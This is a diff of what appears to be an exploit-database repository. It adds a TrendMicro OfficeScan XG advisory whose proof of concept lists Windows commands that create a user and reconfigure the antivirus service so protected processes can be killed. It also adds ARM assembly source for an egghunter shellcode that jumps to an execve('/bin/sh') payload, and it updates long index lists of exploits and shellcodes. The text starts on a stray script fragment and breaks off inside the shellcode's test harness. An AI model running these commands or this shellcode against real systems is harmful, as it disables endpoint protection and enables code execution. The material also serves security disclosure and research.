# You must intercept the first request through the proxy tool to verify the CSRF token.
|
||||
|
||||
import requests
|
||||
import re
|
||||
|
|
|
|||
99
exploits/windows/local/44858.txt
Normal file
99
exploits/windows/local/44858.txt
Normal file
|
|
@ -0,0 +1,99 @@
|
|||
[+] Credits: John Page (aka hyp3rlinx)
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
[+] Source: http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-OFFICESCAN-XG-v11.0-UNAUTHORIZED-CHANGE-PREVENTION-SERVICE-BYPASS.txt
|
||||
[+] ISR: Apparition Security
|
||||
|
||||
|
||||
|
||||
***Greetz: indoushka|Eduardo|Dirty0tis***
|
||||
|
||||
|
||||
|
||||
Vendor:
|
||||
=============
|
||||
www.trendmicro.com
|
||||
|
||||
|
||||
|
||||
Product:
|
||||
===========
|
||||
OfficeScan XG v11.0
|
||||
|
||||
|
||||
OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
|
||||
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
|
||||
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
|
||||
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.
|
||||
|
||||
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
===================
|
||||
Unauthorized Change Prevention Bypass
|
||||
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
CVE-2018-10507
|
||||
|
||||
|
||||
|
||||
Security Issue:
|
||||
================
|
||||
Attackers or malwarez that can access the system hosting the OfficeScan XG AV, can bypass the antivirus protection feature that prevents unauthorized changes
|
||||
from being made like killing protected OfficeScan XG processes such as "PccNTMon.exe".
|
||||
|
||||
|
||||
References:
|
||||
============
|
||||
https://success.trendmicro.com/solution/1119961
|
||||
|
||||
|
||||
|
||||
Exploit/POC:
|
||||
=============
|
||||
|
||||
1) net user hacker abc123 /add
|
||||
|
||||
2) sc.exe config "TMBMServer" obj= ".\hacker" password= "pwnage"
|
||||
|
||||
3) net user hacker /delete
|
||||
|
||||
4) shutdown /r
|
||||
|
||||
Done!, now kill "PccNTMon.exe" or whatever...
|
||||
|
||||
requires Admin permissions to exploit
|
||||
|
||||
|
||||
Network Access:
|
||||
===============
|
||||
Local
|
||||
|
||||
|
||||
|
||||
Severity:
|
||||
=========
|
||||
Medium
|
||||
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
=============================
|
||||
Vendor Notification: June 29, 2017
|
||||
Vendor releases critical patch and advisory : June 5, 2018
|
||||
June 7, 2018 : Public Disclosure
|
||||
|
||||
|
||||
|
||||
[+] Disclaimer
|
||||
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||
or exploits by the author or elsewhere. All content (c).
|
||||
|
||||
hyp3rlinx
|
||||
|
|
@ -5991,6 +5991,12 @@ id,file,description,date,author,type,platform,port
|
|||
44847,exploits/macos/dos/44847.c,"Apple macOS Kernel - Use-After-Free Due to Lack of Locking in nvidia GeForce Driver",2018-06-06,"Google Security Research",dos,macos,
|
||||
44848,exploits/multiple/dos/44848.c,"Apple macOS/iOS Kernel - Heap Overflow Due to Lack of Lower Size Check in getvolattrlist",2018-06-06,"Google Security Research",dos,multiple,
|
||||
44849,exploits/multiple/dos/44849.txt,"XNU Kernel - Heap Overflow Due to Bad Bounds Checking in MPTCP",2018-06-06,"Google Security Research",dos,multiple,
|
||||
44857,exploits/linux/dos/44857.html,"Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service",2018-06-08,rop,dos,linux,
|
||||
44859,exploits/multiple/dos/44859.html,"WebKit - WebAssembly Compilation Info Leak",2018-06-08,"Google Security Research",dos,multiple,
|
||||
44860,exploits/multiple/dos/44860.js,"Google Chrome - Integer Overflow when Processing WebAssembly Locals",2018-06-08,"Google Security Research",dos,multiple,
|
||||
44861,exploits/multiple/dos/44861.html,"WebKit - Use-After-Free when Resuming Generator",2018-06-08,"Google Security Research",dos,multiple,
|
||||
44862,exploits/multiple/dos/44862.txt,"WebRTC - VP9 Frame Processing Out-of-Bounds Memory Access",2018-06-08,"Google Security Research",dos,multiple,
|
||||
44863,exploits/multiple/dos/44863.txt,"WebRTC - VP9 Missing Frame Processing Out-of-Bounds Memory Access",2018-06-08,"Google Security Research",dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -9769,6 +9775,7 @@ id,file,description,date,author,type,platform,port
|
|||
44842,exploits/linux/local/44842.txt,"WebKitGTK+ < 2.21.3 - Crash (PoC)",2018-06-05,"Dhiraj Mishra",local,linux,
|
||||
41705,exploits/windows_x86/local/41705.cpp,"Fortinet FortiClient 5.2.3 (Windows 10 x86) - Local Privilege Escalation",2017-03-11,sickness,local,windows_x86,
|
||||
44852,exploits/android/local/44852.txt,"Ftp Server 1.32 - Credential Disclosure",2018-06-07,ManhNho,local,android,
|
||||
44858,exploits/windows/local/44858.txt,"TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass",2018-06-08,hyp3rlinx,local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -15537,7 +15544,7 @@ id,file,description,date,author,type,platform,port
|
|||
35284,exploits/multiple/remote/35284.pl,"Opera Web Browser 11.00 - 'option' HTML Element Integer Overflow",2011-01-25,"C4SS!0 G0M3S",remote,multiple,
|
||||
35280,exploits/windows/remote/35280.txt,".NET Remoting Services - Remote Command Execution",2014-11-17,"James Forshaw",remote,windows,
|
||||
35282,exploits/android/remote/35282.rb,"Samsung Galaxy KNOX Android Browser - Remote Code Execution (Metasploit)",2014-11-18,Metasploit,remote,android,
|
||||
35283,exploits/php/remote/35283.rb,"MantisBT XmlImportExport Plugin - PHP Code Injection (Metasploit)",2014-11-18,Metasploit,remote,php,80
|
||||
35283,exploits/php/remote/35283.rb,"Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (2)",2014-11-18,Metasploit,remote,php,80
|
||||
35308,exploits/windows/remote/35308.html,"Microsoft Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / PowerShell VirtualAlloc (MS14-064)",2014-11-20,"GradiusX & b33f",remote,windows,
|
||||
35314,exploits/linux/remote/35314.txt,"Wireshark 1.4.3 - '.pcap' Memory Corruption",2011-02-03,"Huzaifa Sidhpurwala",remote,linux,
|
||||
35316,exploits/multiple/remote/35316.sh,"SMC Networks SMCD3G Session Management - Authentication Bypass",2011-02-04,"Zack Fasel & Matthew Jakubowski",remote,multiple,
|
||||
|
|
@ -16542,7 +16549,7 @@ id,file,description,date,author,type,platform,port
|
|||
44597,exploits/unix/remote/44597.rb,"Palo Alto Networks - 'readSessionVarsFromFile()' Session Corruption (Metasploit)",2018-05-08,Metasploit,remote,unix,443
|
||||
44598,exploits/php/remote/44598.rb,"PlaySMS - 'import.php' Authenticated CSV File Upload Code Execution (Metasploit)",2018-05-08,Metasploit,remote,php,
|
||||
44599,exploits/php/remote/44599.rb,"PlaySMS 1.4 - 'sendfromfile.php?Filename' Authenticated 'Code Execution (Metasploit)",2018-05-08,Metasploit,remote,php,
|
||||
44611,exploits/php/remote/44611.rb,"Mantis 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)",2018-05-10,Metasploit,remote,php,80
|
||||
44611,exploits/php/remote/44611.rb,"Mantis Bug Tracker 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)",2018-05-10,Metasploit,remote,php,80
|
||||
44616,exploits/windows/remote/44616.py,"Microsoft Windows 2003 SP2 - 'RRAS' SMB Remote Code Execution",2018-05-13,vportal,remote,windows,
|
||||
44635,exploits/hardware/remote/44635.py,"Inteno IOPSYS 2.0 < 4.2.0 - 'p910nd' Remote Command Execution",2018-05-16,neonsea,remote,hardware,9100
|
||||
44638,exploits/windows/remote/44638.txt,"Nanopool Claymore Dual Miner 7.3 - Remote Code Execution",2018-05-17,ReverseBrain,remote,windows,
|
||||
|
|
@ -25018,8 +25025,8 @@ id,file,description,date,author,type,platform,port
|
|||
15719,exploits/php/webapps/15719.txt,"Joomla! Component JE Messenger 1.0 - Arbitrary File Upload",2010-12-09,"Salvatore Fresta",webapps,php,
|
||||
15721,exploits/php/webapps/15721.txt,"Joomla! Component com_billyportfolio 1.1.2 - Blind SQL Injection",2010-12-10,jdc,webapps,php,
|
||||
15728,exploits/hardware/webapps/15728.txt,"Clear iSpot/Clearspot 2.0.0.0 - Cross-Site Request Forgery",2010-12-12,"Trustwave's SpiderLabs",webapps,hardware,
|
||||
15735,exploits/php/webapps/15735.txt,"MantisBT 1.2.3 (db_type) - Cross-Site Scripting / Full Path Disclosure",2010-12-15,LiquidWorm,webapps,php,
|
||||
15736,exploits/php/webapps/15736.txt,"MantisBT 1.2.3 (db_type) - Local File Inclusion",2010-12-15,LiquidWorm,webapps,php,
|
||||
15735,exploits/php/webapps/15735.txt,"Mantis Bug Tracker 1.2.3 - 'db_type' Cross-Site Scripting / Full Path Disclosure",2010-12-15,LiquidWorm,webapps,php,
|
||||
15736,exploits/php/webapps/15736.txt,"Mantis Bug Tracker 1.2.3 - 'db_type' Local File Inclusion",2010-12-15,LiquidWorm,webapps,php,
|
||||
15737,exploits/cgi/webapps/15737.txt,"Google Urchin 5.7.03 - Local File Inclusion",2010-12-15,"Kristian Erik Hermansen",webapps,cgi,
|
||||
15740,exploits/php/webapps/15740.txt,"Pointter PHP Content Management System - Unauthorized Privilege Escalation",2010-12-15,"Mark Stanislav",webapps,php,
|
||||
15741,exploits/php/webapps/15741.txt,"Pointter PHP Micro-Blogging Social Network - Unauthorized Privilege Escalation",2010-12-15,"Mark Stanislav",webapps,php,
|
||||
|
|
@ -26633,7 +26640,7 @@ id,file,description,date,author,type,platform,port
|
|||
21716,exploits/php/webapps/21716.txt,"Omnistar Mailer 7.2 - Multiple Vulnerabilities",2012-10-03,Vulnerability-Lab,webapps,php,
|
||||
21723,exploits/php/webapps/21723.txt,"Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Disclosure",2002-08-19,"Ulf Harnhammar",webapps,php,
|
||||
21724,exploits/php/webapps/21724.txt,"Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Modification",2002-08-19,"Ulf Harnhammar",webapps,php,
|
||||
21727,exploits/php/webapps/21727.txt,"Mantis 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution",2002-08-19,"Joao Gouveia",webapps,php,
|
||||
21727,exploits/php/webapps/21727.txt,"Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution",2002-08-19,"Joao Gouveia",webapps,php,
|
||||
21728,exploits/cgi/webapps/21728.txt,"Kerio MailServer 5.0/5.1 Web Mail - Multiple Cross-Site Scripting Vulnerabilities",2002-08-19,"Abraham Lincoln",webapps,cgi,
|
||||
21729,exploits/cgi/webapps/21729.txt,"Mozilla Bonsai - Multiple Cross-Site Scripting Vulnerabilities",2002-08-20,"Stan Bubrouski",webapps,cgi,
|
||||
21730,exploits/cgi/webapps/21730.txt,"Mozilla Bonsai 1.3 - Full Path Disclosure",2002-08-20,"Stan Bubrouski",webapps,cgi,
|
||||
|
|
@ -27693,9 +27700,9 @@ id,file,description,date,author,type,platform,port
|
|||
24384,exploits/php/webapps/24384.txt,"PHP-Fusion Database Backup - Information Disclosure",2004-07-18,"Ahmad Muammar",webapps,php,
|
||||
24385,exploits/asp/webapps/24385.txt,"Zixforum - ZixForum.mdb Database Disclosure",2004-07-19,"Security .Net Information",webapps,asp,
|
||||
24389,exploits/php/webapps/24389.txt,"Sympa 4.x - New List HTML Injection",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24390,exploits/php/webapps/24390.txt,"Mantis 0.19 - Remote Server-Side Script Execution",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24391,exploits/php/webapps/24391.txt,"Mantis 0.x - Multiple Cross-Site Scripting Vulnerabilities",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24392,exploits/php/webapps/24392.php,"Mantis 0.x - New Account Signup Mass Emailing",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24390,exploits/php/webapps/24390.txt,"Mantis Bug Tracker 0.19 - Remote Server-Side Script Execution",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24391,exploits/php/webapps/24391.txt,"Mantis Bug Tracker 0.x - Multiple Cross-Site Scripting Vulnerabilities",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24392,exploits/php/webapps/24392.php,"Mantis Bug Tracker 0.x - New Account Signup Mass Emailing",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24393,exploits/php/webapps/24393.txt,"MyDms 1.4 - SQL Injection / Directory Traversal",2004-08-21,"Jose Antonio",webapps,php,
|
||||
24397,exploits/asp/webapps/24397.txt,"Compulsive Media CNU5 - 'News.mdb' Database Disclosure",2004-08-23,"Security .Net Information",webapps,asp,
|
||||
24399,exploits/php/webapps/24399.txt,"PhotoADay - 'Pad_selected' Cross-Site Scripting",2004-08-23,"King Of Love",webapps,php,
|
||||
|
|
@ -28828,7 +28835,7 @@ id,file,description,date,author,type,platform,port
|
|||
26169,exploits/php/webapps/26169.txt,"W-Agora 4.2 - 'Site' Directory Traversal",2005-08-18,matrix_killer,webapps,php,
|
||||
26170,exploits/php/webapps/26170.txt,"ATutor 1.5.1 - 'login.php?course' Cross-Site Scripting",2005-08-18,matrix_killer,webapps,php,
|
||||
26171,exploits/php/webapps/26171.php,"PHPOutsourcing Zorum 3.5 - 'Prod.php' Arbitrary Command Execution",2005-08-18,rgod,webapps,php,
|
||||
26172,exploits/php/webapps/26172.txt,"Mantis 0.x/1.0 - Multiple Input Validation Vulnerabilities",2005-08-19,anonymous,webapps,php,
|
||||
26172,exploits/php/webapps/26172.txt,"Mantis Bug Tracker 0.x/1.0 - Multiple Input Validation Vulnerabilities",2005-08-19,anonymous,webapps,php,
|
||||
26174,exploits/hardware/webapps/26174.txt,"Airlive IP Cameras - Multiple Vulnerabilities",2013-06-13,"Sánchez_ Lopez_ Castillo",webapps,hardware,
|
||||
26176,exploits/php/webapps/26176.txt,"Woltlab Burning Board 2.x - 'ModCP.php' SQL Injection",2005-08-20,[R],webapps,php,
|
||||
26177,exploits/php/webapps/26177.txt,"Land Down Under 800/801 - 'links.php?w' SQL Injection",2005-08-20,bl2k,webapps,php,
|
||||
|
|
@ -29001,7 +29008,7 @@ id,file,description,date,author,type,platform,port
|
|||
26415,exploits/hardware/webapps/26415.txt,"Linksys X3000 1.0.03 build 001 - Multiple Vulnerabilities",2013-06-24,m-1-k-3,webapps,hardware,
|
||||
26416,exploits/php/webapps/26416.txt,"Elemata CMS RC3.0 - 'global.php?id' SQL Injection",2013-06-24,"CWH Underground",webapps,php,
|
||||
26827,exploits/php/webapps/26827.txt,"QuickPayPro 3.1 - 'popups.edit.php?popupid' SQL Injection",2005-12-14,r0t,webapps,php,
|
||||
26423,exploits/php/webapps/26423.txt,"Mantis 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion",2005-10-26,"Andreas Sandblad",webapps,php,
|
||||
26423,exploits/php/webapps/26423.txt,"Mantis Bug Tracker 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion",2005-10-26,"Andreas Sandblad",webapps,php,
|
||||
26425,exploits/php/webapps/26425.pl,"Woltlab 1.1/2.x - 'Info-DB Info_db.php' Multiple SQL Injections",2005-10-26,admin@batznet.com,webapps,php,
|
||||
26426,exploits/asp/webapps/26426.html,"Techno Dreams (Multiple Scripts) - Multiple SQL Injections",2005-10-26,"farhad koosha",webapps,asp,
|
||||
26427,exploits/php/webapps/26427.txt,"GCards 1.43 - 'news.php' SQL Injection",2005-10-26,svsecurity,webapps,php,
|
||||
|
|
@ -29305,7 +29312,7 @@ id,file,description,date,author,type,platform,port
|
|||
26795,exploits/php/webapps/26795.txt,"VCD-db 0.9x - 'search.php?by' SQL Injection",2005-12-13,r0t3d3Vil,webapps,php,
|
||||
26796,exploits/php/webapps/26796.txt,"VCD-db 0.9x Search Module - 'batch' Cross-Site Scripting",2005-12-13,r0t3d3Vil,webapps,php,
|
||||
26797,exploits/php/webapps/26797.txt,"PHP JackKnife 2.21 - Cross-Site Scripting",2005-12-13,r0t3d3Vil,webapps,php,
|
||||
26798,exploits/php/webapps/26798.txt,"Mantis 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting",2005-12-13,r0t,webapps,php,
|
||||
26798,exploits/php/webapps/26798.txt,"Mantis Bug Tracker 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting",2005-12-13,r0t,webapps,php,
|
||||
26799,exploits/php/webapps/26799.txt,"Snipe Gallery 3.1.4 - 'view.php?gallery_id' SQL Injection",2005-12-13,r0t,webapps,php,
|
||||
26800,exploits/php/webapps/26800.txt,"Snipe Gallery 3.1.4 - 'image.php?image_id' SQL Injection",2005-12-13,r0t,webapps,php,
|
||||
26801,exploits/php/webapps/26801.txt,"Snipe Gallery 3.1.4 - 'search.php?keyword' Cross-Site Scripting",2005-12-13,r0t,webapps,php,
|
||||
|
|
@ -29655,8 +29662,8 @@ id,file,description,date,author,type,platform,port
|
|||
27225,exploits/php/webapps/27225.txt,"dotProject 2.0 - '/modules/tasks/gantt.php?baseDir' Remote File Inclusion",2006-02-14,r.verton,webapps,php,
|
||||
27226,exploits/php/webapps/27226.txt,"RunCMS 1.2/1.3 - 'PMLite.php' SQL Injection",2006-02-14,"Hamid Ebadi",webapps,php,
|
||||
27227,exploits/php/webapps/27227.txt,"WordPress 2.0 - Comment Post HTML Injection",2006-02-15,imei,webapps,php,
|
||||
27228,exploits/php/webapps/27228.txt,"Mantis 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities",2006-02-15,"Thomas Waldegger",webapps,php,
|
||||
27229,exploits/php/webapps/27229.txt,"Mantis 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting",2006-02-15,"Thomas Waldegger",webapps,php,
|
||||
27228,exploits/php/webapps/27228.txt,"Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities",2006-02-15,"Thomas Waldegger",webapps,php,
|
||||
27229,exploits/php/webapps/27229.txt,"Mantis Bug Tracker 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting",2006-02-15,"Thomas Waldegger",webapps,php,
|
||||
27230,exploits/php/webapps/27230.txt,"My Blog 1.63 - BBCode HTML Injection",2006-02-15,"Aliaksandr Hartsuyeu",webapps,php,
|
||||
27236,exploits/php/webapps/27236.txt,"MyBB 1.0.3 - 'private.php' Multiple SQL Injections",2006-02-15,imei,webapps,php,
|
||||
27237,exploits/php/webapps/27237.txt,"HTML::BBCode 1.03/1.04 - HTML Injection",2006-02-15,"Aliaksandr Hartsuyeu",webapps,php,
|
||||
|
|
@ -35235,7 +35242,7 @@ id,file,description,date,author,type,platform,port
|
|||
36065,exploits/asp/webapps/36065.txt,"Code Widgets DataBound Collapsible Menu - 'main.asp' SQL Injection",2011-08-17,Inj3ct0r,webapps,asp,
|
||||
36066,exploits/asp/webapps/36066.txt,"Code Widgets Multiple Question - Multiple Choice Online Questionnaire SQL Injections",2011-08-17,"L0rd CrusAd3r",webapps,asp,
|
||||
36067,exploits/cfm/webapps/36067.txt,"Adobe ColdFusion - 'probe.cfm' Cross-Site Scripting",2011-08-18,G.R0b1n,webapps,cfm,
|
||||
36068,exploits/php/webapps/36068.txt,"MantisBT 1.1.8 - Cross-Site Scripting / SQL Injection",2011-08-18,Net.Edit0r,webapps,php,
|
||||
36068,exploits/php/webapps/36068.txt,"Mantis Bug Tracker 1.1.8 - Cross-Site Scripting / SQL Injection",2011-08-18,Net.Edit0r,webapps,php,
|
||||
36072,exploits/php/webapps/36072.txt,"OneFileCMS 1.1.1 - 'onefilecms.php' Cross-Site Scripting",2011-08-21,mr.pr0n,webapps,php,
|
||||
36073,exploits/php/webapps/36073.txt,"Pandora FMS 3.x - 'index.php' Cross-Site Scripting",2011-08-22,"mehdi boukazoula",webapps,php,
|
||||
36074,exploits/php/webapps/36074.txt,"TotalShopUK 1.7.2 - 'index.php' SQL Injection",2011-08-22,"Eyup CELIK",webapps,php,
|
||||
|
|
@ -36513,7 +36520,7 @@ id,file,description,date,author,type,platform,port
|
|||
38062,exploits/multiple/webapps/38062.txt,"Forescout CounterACT - 'a' Open Redirection",2012-11-26,"Joseph Sheridan",webapps,multiple,
|
||||
38063,exploits/php/webapps/38063.txt,"WordPress Theme Wp-ImageZoom - 'id' SQL Injection",2012-11-26,Amirh03in,webapps,php,
|
||||
38064,exploits/php/webapps/38064.txt,"WordPress Theme CStar Design - 'id' SQL Injection",2012-11-27,Amirh03in,webapps,php,
|
||||
38068,exploits/php/webapps/38068.txt,"MantisBT 1.2.19 - Host Header",2015-09-02,"Pier-Luc Maltais",webapps,php,80
|
||||
38068,exploits/php/webapps/38068.txt,"Mantis Bug Tracker 1.2.19 - Host Header",2015-09-02,"Pier-Luc Maltais",webapps,php,80
|
||||
38071,exploits/php/webapps/38071.rb,"YesWiki 0.2 - 'squelette' Directory Traversal",2015-09-02,HaHwul,webapps,php,80
|
||||
38073,exploits/hardware/webapps/38073.html,"GPON Home Router FTP G-93RG1 - Cross-Site Request Forgery / Command Execution",2015-09-02,"Phan Thanh Duy",webapps,hardware,80
|
||||
38074,exploits/php/webapps/38074.txt,"Cerb 7.0.3 - Cross-Site Request Forgery",2015-09-02,"High-Tech Bridge SA",webapps,php,80
|
||||
|
|
@ -38468,7 +38475,7 @@ id,file,description,date,author,type,platform,port
|
|||
41787,exploits/php/webapps/41787.txt,"Maian Uploader 4.0 - 'user' SQL Injection",2017-04-04,"Ihsan Sencan",webapps,php,
|
||||
41788,exploits/php/webapps/41788.txt,"Maian Survey 1.1 - 'survey' SQL Injection",2017-04-04,"Ihsan Sencan",webapps,php,
|
||||
41789,exploits/php/webapps/41789.txt,"Maian Greetings 2.1 - 'cat' SQL Injection",2017-04-04,"Ihsan Sencan",webapps,php,
|
||||
41685,exploits/multiple/webapps/41685.rb,"MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit)",2014-11-18,Metasploit,webapps,multiple,
|
||||
41685,exploits/multiple/webapps/41685.rb,"Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (1)",2014-11-18,Metasploit,webapps,multiple,
|
||||
41686,exploits/multiple/webapps/41686.rb,"OP5 5.3.5/5.4.0/5.4.2/5.5.0/5.5.1 - 'license.php' Remote Command Execution (Metasploit)",2015-01-25,Metasploit,webapps,multiple,
|
||||
41687,exploits/multiple/webapps/41687.rb,"OP5 5.3.5/5.4.0/5.4.2/5.5.0/5.5.1 - 'welcome' Remote Command Execution (Metasploit)",2015-01-05,Metasploit,webapps,multiple,
|
||||
41688,exploits/multiple/webapps/41688.rb,"PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit)",2016-12-26,Metasploit,webapps,multiple,
|
||||
|
|
@ -39517,4 +39524,6 @@ id,file,description,date,author,type,platform,port
|
|||
44845,exploits/hardware/webapps/44845.txt,"Canon MF210/MF220 - Authenticaton Bypass",2018-06-06,"Huy Kha",webapps,hardware,
|
||||
44853,exploits/php/webapps/44853.txt,"WordPress Form Maker Plugin 1.12.24 - SQL Injection",2018-06-07,defensecode,webapps,php,
|
||||
44854,exploits/php/webapps/44854.txt,"WordPress Contact Form Maker Plugin 1.12.20 - SQL Injection",2018-06-07,defensecode,webapps,php,
|
||||
44855,exploits/php/webapps/44855.py,"Monstra CMS < 3.0.4 - Cross-Site Scripting Automation",2018-06-07,DEEPIN2,webapps,php,
|
||||
44855,exploits/php/webapps/44855.py,"Monstra CMS < 3.0.4 - Cross-Site Scripting",2018-06-07,DEEPIN2,webapps,php,
|
||||
44864,exploits/hardware/webapps/44864.py,"XiongMai uc-httpd 1.0.0 - Buffer Overflow",2018-06-08,"Andrew Watson",webapps,hardware,
|
||||
44865,exploits/linux/webapps/44865.txt,"Splunk < 7.0.1 - Information Disclosure",2018-06-08,KoF2002,webapps,linux,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -890,4 +890,5 @@ id,file,description,date,author,type,platform
|
|||
44791,shellcodes/linux_x86/44791.c,"Linux/x86 - Bind (5555/TCP) Shell Shellcode (98 bytes)",2018-05-28,Luca,shellcode,linux_x86
|
||||
44807,shellcodes/linux_x86/44807.c,"Linux/x86 - Egghunter (0xdeadbeef) + access() + execve(/bin/sh) Shellcode (38 bytes)",2018-05-31,"Paolo Perego",shellcode,linux_x86
|
||||
44808,shellcodes/linux_x86/44808.c,"Linux/x86 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (105 bytes)",2018-05-31,"Paolo Perego",shellcode,linux_x86
|
||||
44811,shellcodes/arm/44811.c,"Linux/ARM - Egghunter (\x50\x90\x50\x90) + execve('/bin/sh') Shellcode (32 bytes)",2018-05-31,"Ken Kitahara",shellcode,arm
|
||||
44811,shellcodes/arm/44811.c,"Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (32 bytes)",2018-05-31,"Ken Kitahara",shellcode,arm
|
||||
44856,shellcodes/arm/44856.c,"Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (60 bytes)",2018-06-08,rtmcx,shellcode,arm
|
||||
|
|
|
|||
|
117
shellcodes/arm/44856.c
Normal file
117
shellcodes/arm/44856.c
Normal file
|
|
@ -0,0 +1,117 @@
|
|||
/*
|
||||
* Title: Linux/ARM - Memsafe egghunter (0x50905090) + execve("/bin/sh"). Null free shellcode (60 bytes)
|
||||
* Date: 2018-06-06
|
||||
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
|
||||
* Author: rtmcx - twitter: @rtmcx
|
||||
* Description: The shellcode will search the memory for the "EGG" and, when found, redirect execution to the location just after the EGG.
|
||||
*/
|
||||
|
||||
.text
|
||||
|
||||
.global _start
|
||||
|
||||
_start:
|
||||
.ARM
|
||||
|
||||
/* Enter Thumb mode for shorter shellcode */
|
||||
add r5, pc, #1
|
||||
bx r5
|
||||
.THUMB
|
||||
|
||||
page_align:
|
||||
/* Enter ARM mode (to easier calculate and set pagesize) */
|
||||
mov r5, pc
|
||||
bx r5
|
||||
.ARM
|
||||
|
||||
/* Memory page alignment. */
|
||||
mvn r1, r1, lsr #0x0c
|
||||
mvn r1, r1, lsl #0x0c
|
||||
|
||||
/* Enter Thumb mode again */
|
||||
add r5, pc, #1
|
||||
bx r5
|
||||
.THUMB
|
||||
|
||||
hunting:
|
||||
add r1, r1, #1 // Go to next address
|
||||
|
||||
ldr r3, egg // set r3 to eggs value
|
||||
|
||||
// Setup syscall "sigaction"
|
||||
mov r7, #0x43 // sigaction (syscall number 67, 0x43)
|
||||
svc 1 // Execute syscall (result is stored in r0)
|
||||
|
||||
|
||||
/* Compare the result */
|
||||
sub r7, #0x51 // Calculate r7 to become 0xF2 (0x43 - 0x51)
|
||||
cmp r0, r7 // Did we get EFAULT? (value 0xF2)
|
||||
beq page_align // Yes, invalid adddress, next page
|
||||
|
||||
/* We have access to the page and can start to search for the egg.. */
|
||||
ldr r2, [r1] // Place the byte at address in r2
|
||||
cmp r2, r3 // Compare the egg with address bytes
|
||||
bne hunting // Not the same, go to next byte
|
||||
|
||||
|
||||
/* Here we have either found the EGG or searched the entire memory.
|
||||
If the EGG was not found, this will probably cause a SEGFAULT,
|
||||
since the instruction that is executed next might be an invalid one. */
|
||||
|
||||
/* Enter ARM mode */
|
||||
/* Since we dont know which type of shellcode that will be executed (it is up to the shellcode to set correct mode) */
|
||||
|
||||
mov r5, pc
|
||||
bx r5
|
||||
|
||||
.ARM
|
||||
/* Set PC to execute code at address*/
|
||||
mov pc, r1 // Jump to shellcode (byte after egg)
|
||||
|
||||
egg:
|
||||
.ascii "\x50\x90\x50\x90"
|
||||
|
||||
/*
|
||||
Compile and link with:
|
||||
# as -o egghunter.o egghunter.s
|
||||
# ld -N egghunter.o -o egghunter
|
||||
Extract egghunter shellcode:
|
||||
# objcopy -O binary egghunter egghunter.bin
|
||||
# hexdump -v -e '"\\""x" 1/1 "%02x" ""' egghunter.bin
|
||||
|
||||
*/
|
||||
|
||||
//
|
||||
// ------ egghunter-tester.c ------------------------
|
||||
/*
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
//Compile with (on Raspberry Pi v3):
|
||||
//gcc -N -static-libgcc egghunter-tester.c -o egghunter-tester
|
